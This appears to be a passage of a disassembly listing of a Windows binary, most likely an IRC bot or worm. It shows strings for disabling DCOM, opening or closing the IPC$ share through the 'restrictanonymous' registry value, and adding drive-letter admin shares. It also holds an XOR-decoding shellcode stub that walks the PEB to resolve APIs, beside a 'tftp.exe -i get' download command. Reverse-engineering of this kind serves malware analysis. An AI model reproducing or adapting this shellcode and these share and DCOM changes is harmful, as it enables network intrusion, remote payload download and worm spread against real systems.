		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_42CB9C	db    2			; DATA XREF: sub_412A1E:loc_412B49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_42CBEC	db    2			; DATA XREF: sub_412A1E:loc_412B2Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_42CC34	db    2			; DATA XREF: sub_412A1E+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_412A1E+EDo
					; sub_412D42+EDo
		align 4
unk_42CC98	db    2			; DATA XREF: sub_412A1E+91o
					; sub_412D42+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_42CCDC	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_412A1E:loc_412A8Bo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_42CD0C	db    2			; DATA XREF: sub_412A1E+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_412A1E+54o
					; sub_412D42+54o
		align 10h
word_42CD50	dw 4Eh			; DATA XREF: sub_412A1E+38r
		align 4
unk_42CD54	db    2			; DATA XREF: sub_412D42+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC		db '%c:\',0             ; DATA XREF: sub_412D42+22Ao
		align 4
aC_0		db '%c$',0              ; DATA XREF: sub_412D42+219o
unk_42CD98	db    2			; DATA XREF: sub_412D42:loc_412EE1o
					; sub_412D42:loc_412FAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_42CDD4	db    2			; DATA XREF: sub_412D42+198o
					; sub_412D42+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_42CE08	db    2			; DATA XREF: sub_412D42:loc_412E69o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_42CE58	db    2			; DATA XREF: sub_412D42:loc_412E4Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_42CEA0	db    2			; DATA XREF: sub_412D42+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_42CEF0	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_412D42:loc_412DAFo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_42CF20	db    2			; DATA XREF: sub_412D42+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_42CF58	dw 59h			; DATA XREF: sub_412D42+38r
		align 4
		jmp	short loc_42CF60
; ---------------------------------------------------------------------------


loc_42CF5E:				; CODE XREF: seg002:loc_42CF60p
		jmp	short loc_42CF65
; ---------------------------------------------------------------------------


loc_42CF60:				; CODE XREF: seg002:0042CF5Cj
		call	loc_42CF5E


loc_42CF65:				; CODE XREF: seg002:loc_42CF5Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_42CF6C:				; CODE XREF: seg002:0042CF71j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_42CF6C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_42CF82:				; CODE XREF: seg002:0042CF87j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_42CF82
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_42D024
		jnz	short loc_42D010
		retn
; ---------------------------------------------------------------------------


loc_42D010:				; CODE XREF: seg002:0042D00Dj
					; seg002:0042D01Dj
		call	loc_42D016
; ---------------------------------------------------------------------------
		align 2


loc_42D016:				; CODE XREF: seg002:loc_42D010j
		push	0
		call	sub_42D024
		jz	loc_42D010
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42D024	proc near		; CODE XREF: seg002:0042D008p
					; seg002:0042D018p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_42D024	endp

; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4132E7+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4132E7+35o
dword_42D0A0	dd 1				align 10h
dword_42D0B0	dd 173Fh			dd 9875h, 9873h
off_42D0BC	dd offset sub_413FD1	; DATA XREF: sub_41588Ar
		dd offset nullsub_2
		dd offset nullsub_2
dword_42D0C8	dd 1B3Fh	dword_42D0CC	dd 19930520h, 4	dup(0)					; sub_4144D6+2o
off_42D0E0	dd offset sub_4158C8	; DATA XREF: sub_415C7E+1Cr
dword_42D0E4	dd 2							; sub_41AFA9+46r ...
off_42D0E8	dd offset aNull_0	; DATA XREF: sub_415DDC:loc_416140r
					; sub_415DDC+457r
					; "(null)"
off_42D0EC	dd offset aNull		; DATA XREF: sub_415DDC+259r
					; "(null)"
off_42D0F0	dd offset word_42D0FA	; DATA XREF: sub_413A94+23r
					; sub_413A94:loc_413AF5r ...
		dd offset word_42D0FA
		db 2 dup(0)
word_42D0FA	dw 20h			; DATA XREF: sub_41C74D+18r
					; seg002:off_42D0F0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_42D2FC	dd 1							; sub_413A94:loc_413AE0r ...
byte_42D300	db 2Eh			; DATA XREF: sub_417FA8:loc_417FE8r
					; seg000:00418006r ...
		align 4
		dd 1, 10h
dword_42D30C	dd 3F8h							; sub_41556F+4Dr ...
dword_42D310	dd 14h		off_42D314	dd offset aExp		; DATA XREF: sub_417CF1:loc_417D0Er
					; "exp"
		dd 1Dh,	41F79Ch, 1Ah, 41F798h, 1Bh, 41F790h, 1Fh, 41F788h
		dd 13h,	41F780h, 21h, 41F778h, 0Eh, 41F770h, 0Dh, 41F768h
		dd 0Fh,	41F760h, 10h, 41F758h, 5, 41F750h, 1Eh,	41F74Ch
		dd 12h,	41F748h, 20h, 41F744h, 0Ch, 41F73Ch, 0Bh, 41F734h
		dd 15h,	41F72Ch, 1Ch, 41F724h, 19h, 41F71Ch, 11h, 41F714h
		dd 18h,	41F70Ch, 16h, 41F704h, 17h, 41F6FCh, 22h, 41F6F8h
		dd 23h,	41F6F4h, 24h, 41F6F0h
dbl_42D3E8	dq 1.797693134862316e308 ; DATA	XREF: sub_417A2C+B7r
					; sub_417A2C:loc_417B13r ...
		dd 0
		dd 0FFF80000h
dbl_42D3F8	dq 1.797693134862316e308 ; DATA	XREF: sub_417A2C+92r
					; sub_417A2C:loc_417AEBr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_42D410	dt 2.3562723457267347066e313 ; DATA XREF: sub_417ED9+Dr
					; sub_417ED9+1Fr
		align 4
tbyte_42D41C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_417ED9+31r
		align 4
off_42D428	dd offset sub_41BF89	; DATA XREF: sub_413FE9+Fw
					; sub_415DDC+3AAr
off_42D42C	dd offset sub_41BF89	; DATA XREF: sub_413FE9+5w
					; sub_415DDC+3E2r
off_42D430	dd offset sub_41BF89	; DATA XREF: sub_413FE9+14w
					; sub_418DCD+430r
off_42D434	dd offset sub_41BF89	; DATA XREF: sub_413FE9+1Ew
					; sub_415DDC+3CBr
off_42D438	dd offset sub_41BF89	; DATA XREF: sub_413FE9+28w
off_42D43C	dd offset sub_41BF89	; DATA XREF: sub_413FE9+32w
		dd offset sub_41BF92
		align 10h
		dd offset sub_418C2C
off_42D454	dd offset sub_418C2C	; DATA XREF: sub_418C82+29r
dword_42D458	dd 0D2D0920h, 5Dhdword_42D460	dd 5Dh,	0	byte_42D468	db 1			; DATA XREF: seg000:0041A131r
		db 2, 4, 8
		align 10h
dword_42D470	dd 3A4h		dword_42D474	dd 82798260h, 21h, 0dword_42D480	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_42D560	dd 1							; sub_41A667+Co
dword_42D564	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_42D6C8	dd 0C0000005h						; sub_41A80F+Ar ...
dword_42D6CC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_42D740	dd 3							; sub_41D327+C8r
dword_42D744	dd 7							; sub_41D327+CDr
dword_42D748	dd 0Ah							; sub_41D454+4r
dword_42D74C	dd 8Ch							; sub_41A6CE+8Fw ...
dword_42D750	dd 0FFFFFFFFh, 0A00h					; sub_419940:loc_4199C1o
dword_42D758	dd 2							; sub_41AFA9+28r
off_42D75C	dd offset aR6002FloatingP ; DATA XREF: sub_41AFA9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41FABCh, 9, 41FA90h, 0Ah,	41FA6Ch, 10h, 41FA40h
		dd 11h,	41FA10h, 12h, 41F9ECh, 13h, 41F9C0h, 18h, 41F988h
		dd 19h,	41F960h, 1Ah, 41F928h, 1Bh, 41F8F0h, 1Ch, 41F8C8h
		dd 78h,	41F8B8h, 79h, 41F8A8h, 7Ah, 41F898h, 0FCh, 422D68h
		dd 0FFh, 41F888h
off_42D7E8	dd offset dword_45EB00	; DATA XREF: sub_41AFA9+1Bo
					; sub_41B166+55o
		dd 0
		dd offset dword_45EB00
		dd 101h
dword_42D7F8	dd 2 dup(0)			dd 1000h, 0
dword_42D808	dd 3 dup(0)						; sub_416846+12o
		dd 2, 1, 3 dup(0)
dword_42D828	dd 3 dup(0)						; sub_416846:loc_416864o
		dd 2 dup(2), 7 dup(0)
dword_42D858	dd 84h dup(0)	dword_42DA68	dd 2694h						; sub_4176E1+46r ...
		align 10h
dword_42DA70	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_42DA88	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_42DAA0	dd 7080h						; sub_41C1F2+5Ew ...
dword_42DAA4	dd 1							; sub_41C1F2+8Bw ...
dword_42DAA8	dd 0FFFFF1F0h						; sub_41C1F2+94w ...
dword_42DAAC	dd 545350h, 0Fh	dup(0)dword_42DAEC	dd 544450h, 0Fh	dup(0)off_42DB2C	dd offset dword_42DAAC	; DATA XREF: sub_41C1F2+BAr
					; sub_41C1F2+D9r ...
off_42DB30	dd offset dword_42DAEC	; DATA XREF: sub_41C1F2+F4r
					; sub_41C1F2+11Br ...
		align 8
dword_42DB38	dd 0FFFFFFFFh						; sub_41C450+1Er ...
dword_42DB3C	dd 0							; sub_41C5FC+BFw
dword_42DB40	dd 0							; sub_41C5FC+E0w
		align 8
dword_42DB48	dd 0FFFFFFFFh						; sub_41C450+26r ...
dword_42DB4C	dd 0							; sub_41C5FC+EAw ...
dword_42DB50	dd 0							; sub_41C5FC+23r ...
dword_42DB54	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_42DB84	dd 16Dh							; sub_41C5FC+2Er ...
dword_42DB88	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_42DBC0	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_42DD20	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41D7AC+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_42DE80	dd offset off_41FCAC	; DATA XREF: seg001:off_41FCD0o
					; seg001:0041FDFCo ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_42DE98	dd offset off_41FCAC	; DATA XREF: seg001:off_41FCE8o
					; seg001:0041FD7Co ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_42DEB8	dd offset off_41FCAC	; DATA XREF: seg001:off_41FD00o
					; seg001:0041FD44o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_42DED8	dd offset off_41FCAC	; DATA XREF: seg001:off_41FD88o
					; seg001:0041FDCCo ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_42DEF8	dd offset off_41FCAC	; DATA XREF: seg001:off_41FE08o
					; seg001:0041FE44o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41BF92
		dd 10Ah	dup(0)
dword_42E33C	dd 2 dup(0)	dword_42E344	dd 0							; seg000:00410ED0o ...
byte_42E348	db 0			; DATA XREF: sub_4031F5+10o
					; sub_404FC5+74o ...
		align 4
dword_42E34C	dd 0							; sub_403EB4+51r ...
dword_42E350	dd 0							; seg000:0040391Cw ...
		align 8
dword_42E358	dd 0							; sub_405AFA+92w ...
dword_42E35C	dd 0							; sub_405E47+D9w ...
		dd 256h	dup(0)
dword_42ECB8	dd 7 dup(0)						; sub_405C33+138o ...
dword_42ECD4	dd 83h dup(0)	dword_42EEE0	dd 0		dword_42EEE4	dd 0				dd 24h dup(0)
dword_42EF78	dd 0							; sub_40571E+32Eo
dword_42EF7C	dd 0A2h	dup(0)	dword_42F204	dd 41h dup(0)	dword_42F308	dd 0							; sub_40571E+2E1r
		align 10h
dword_42F310	dd 0							; sub_40571E+340r
dword_42F314	dd 0		dword_42F318	dd 0		dword_42F31C	dd 0				dd 0
dword_42F324	dd 0				dd 0AAh	dup(0)
dword_42F5D0	dd 0							; sub_406E9A+4CDr
dword_42F5D4	dd 0							; sub_412136+F5r
dword_42F5D8	dd 0							; sub_406E9A+862r ...
dword_42F5DC	dd 0							; sub_406E9A+A18r ...
dword_42F5E0	dd 0							; sub_406E9A+9E8r ...
dword_42F5E4	dd 0							; sub_406E9A+4BDr
dword_42F5E8	dd 0							; sub_4021FB+109r ...
dword_42F5EC	dd 0							; sub_406E9A+A10r ...
dword_42F5F0	dd 0							; sub_406E9A+3A9r ...
dword_42F5F4	dd 0							; sub_408F79+11Er
dword_42F5F8	dd 0							; sub_406E9A+3B1r ...
dword_42F5FC	dd 0							; sub_411724+ADr
dword_42F600	dd 0							; seg000:004069F8r ...
dword_42F604	dd 0							; sub_406E9A+D2r ...
dword_42F608	dd 0							; sub_406E9A+9DBr ...
dword_42F60C	dd 0							; sub_406E9A+3C9r ...
dword_42F610	dd 0							; sub_406E9A+88Er ...
dword_42F614	dd 0							; sub_406E9A+2A5w ...
dword_42F618	dd 0							; sub_406E9A+886r ...
dword_42F61C	dd 0		dword_42F620	dd 0							; sub_406E9A+896r ...
dword_42F624	dd 0							; sub_406E9A+52Fw ...
dword_42F628	dd 0							; sub_406E9A+CAr ...
dword_42F62C	dd 0							; seg000:004087D9r
dword_42F630	dd 0							; sub_406E9A+A6Dr ...
dword_42F634	dd 0							; sub_406E9A+F2r
dword_42F638	dd 0							; sub_406E9A+4B5r
dword_42F63C	dd 0							; sub_406E9A+5D8w ...
dword_42F640	dd 0							; sub_406E9A+A08r
dword_42F644	dd 0							; sub_406E9A+5CBw ...
dword_42F648	dd 0		dword_42F64C	dd 0							; sub_406E9A+84Fr ...
dword_42F650	dd 0							; sub_40829B+15r
dword_42F654	dd 0							; sub_406E9A+9F0r ...
dword_42F658	dd 0							; sub_406E9A+3B9r ...
dword_42F65C	dd 0							; sub_406E9A+3C1r ...
dword_42F660	dd 0							; sub_406E9A+C5Dr
dword_42F664	dd 0		dword_42F668	dd 0							; sub_4018CA:loc_401B70r ...
dword_42F66C	dd 0		dword_42F670	dd 0							; sub_406E9A+A20r ...
dword_42F674	dd 0							; sub_406E9A+2DEr ...
dword_42F678	dd 0							; sub_406E9A+DAr ...
dword_42F67C	dd 0							; sub_406E9A+B75r ...
dword_42F680	dd 0							; sub_4018CA+2Fr ...
dword_42F684	dd 0							; sub_406E9A+872r ...
dword_42F688	dd 0							; sub_406E9A+9F8r
dword_42F68C	dd 0							; sub_406E9A+C10r
dword_42F690	dd 0							; sub_4021FB+63r ...
dword_42F694	dd 0							; sub_406E9A+910r ...
dword_42F698	dd 0		dword_42F69C	dd 0							; seg000:00401483r ...
dword_42F6A0	dd 0							; sub_406E9A+855r
dword_42F6A4	dd 0							; sub_4021FB+78r ...
dword_42F6A8	dd 0							; sub_406E9A+1C2r
dword_42F6AC	dd 0							; sub_406E9A+786r ...
dword_42F6B0	dd 0							; sub_404FC5+62r ...
dword_42F6B4	dd 0							; sub_406E9A+549w ...
dword_42F6B8	dd 0							; sub_406E9A:loc_407775w ...
dword_42F6BC	dd 0							; sub_406E9A+2C6r ...
dword_42F6C0	dd 0							; sub_406E9A+681w ...
dword_42F6C4	dd 0							; sub_406E9A+323r ...
dword_42F6C8	dd 0							; sub_406E9A+3D1r ...
dword_42F6CC	dd 0							; sub_406E9A+C08r
dword_42F6D0	dd 0							; sub_406E9A+86Ar ...
dword_42F6D4	dd 0							; sub_406E9A+206w ...
dword_42F6D8	dd 0							; sub_406E9A+1D2r ...
dword_42F6DC	dd 0							; sub_406E9A+87Ar ...
dword_42F6E0	dd 0							; sub_406E9A+606w ...
dword_42F6E4	dd 0							; sub_406E9A+2BFw ...
dword_42F6E8	dd 0							; seg000:004014F1r ...
dword_42F6EC	dd 0							; sub_406E9A+316r ...
dword_42F6F0	dd 0							; seg000:004052E2r ...
dword_42F6F4	dd 0							; sub_406E9A+490r
dword_42F6F8	dd 0							; sub_406E9A+1DAr ...
dword_42F6FC	dd 0							; sub_406E9A+39Cr ...
dword_42F700	dd 0		dword_42F704	dd 0							; seg000:004012ABr ...
dword_42F708	dd 0							; seg000:0040114Fr ...
dword_42F70C	dd 0							; sub_406E9A+C2r ...
dword_42F710	dd 0							; sub_406E9A+4ADr
dword_42F714	dd 0							; sub_406E9A+1BAr ...
dword_42F718	dd 0							; seg000:0041207Fr
dword_42F71C	dd 0							; sub_406E9A+78Er
dword_42F720	dd 0							; sub_402E17+75r ...
dword_42F724	dd 0							; sub_406E9A+C18r
dword_42F728	dd 0							; sub_406E9A+BAr ...
dword_42F72C	dd 0							; sub_406E9A+2CEr ...
dword_42F730	dd 0							; sub_4060A6+9Cr ...
dword_42F734	dd 0							; sub_403FCB+89r ...
dword_42F738	dd 0		dword_42F73C	dd 0							; sub_4092F3+205r ...
dword_42F740	dd 0		dword_42F744	dd 0							; sub_406E9A+BF3r
dword_42F748	dd 0							; seg000:00401DB4r ...
dword_42F74C	dd 0							; sub_406E9A+49Dr
dword_42F750	dd 0							; sub_406E9A+4C5r
dword_42F754	dd 0							; sub_406E9A+4A5r
dword_42F758	dd 0							; sub_402E96+35r ...
dword_42F75C	dd 0							; sub_406E9A+1E2r ...
dword_42F760	dd 0							; sub_406E9A+A28r ...
dword_42F764	dd 0							; sub_406E9A+1ADr ...
dword_42F768	dd 0							; sub_406E9A+E2r ...
dword_42F76C	dd 0							; seg000:00401FF8r ...
dword_42F770	dd 0							; sub_406E9A+B30r
dword_42F774	dd 0							; sub_4120CB+55r
dword_42F778	dd 0							; sub_406E9A+27Ew ...
